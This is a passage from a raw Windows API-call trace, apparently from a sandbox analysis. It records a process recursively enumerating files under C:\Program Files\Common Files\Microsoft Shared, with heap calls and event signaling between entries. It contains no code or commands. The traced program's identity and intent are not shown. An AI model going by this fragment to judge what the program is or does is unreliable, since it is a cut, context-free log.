hFindFile=0x65bc08) returned 1 [0215.031] GetProcessHeap () returned 0x560000 [0215.032] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0215.032] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0215.032] SetEvent (hEvent=0x144) returned 1 [0215.032] ResetEvent (hEvent=0x148) returned 1 [0215.037] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0215.037] SetEvent (hEvent=0x144) returned 1 [0215.038] ResetEvent (hEvent=0x148) returned 1 [0215.040] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0215.041] SetEvent (hEvent=0x144) returned 1 [0215.041] ResetEvent (hEvent=0x148) returned 1 [0215.041] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0215.041] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0215.042] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0215.042] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0215.042] GetProcessHeap () returned 0x560000 [0215.042] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0215.042] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0215.042] GetProcessHeap () returned 0x560000 [0215.042] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0215.042] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0215.043] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.043] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0215.043] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0215.044] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0215.044] GetProcessHeap () returned 0x560000 [0215.044] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0215.044] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0215.044] GetProcessHeap () returned 0x560000 [0215.044] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0215.044] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0215.044] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.045] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0215.045] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0215.045] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0215.046] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0215.046] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0215.046] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0215.046] GetProcessHeap () returned 0x560000 [0215.046] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0215.046] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0215.046] GetProcessHeap () returned 0x560000 [0215.047] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0215.047] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0215.049] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.049] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0215.050] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0215.051] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0215.051] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0215.052] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0215.052] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0215.052] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0215.053] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0215.053] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0215.053] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0215.054] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0215.054] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0215.054] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0215.055] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0215.055] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0215.055] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0215.055] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0215.058] GetProcessHeap () returned 0x560000 [0215.058] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0215.058] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0215.059] GetProcessHeap () returned 0x560000 [0215.059] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0215.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0215.059] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.059] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0215.060] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0215.060] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, 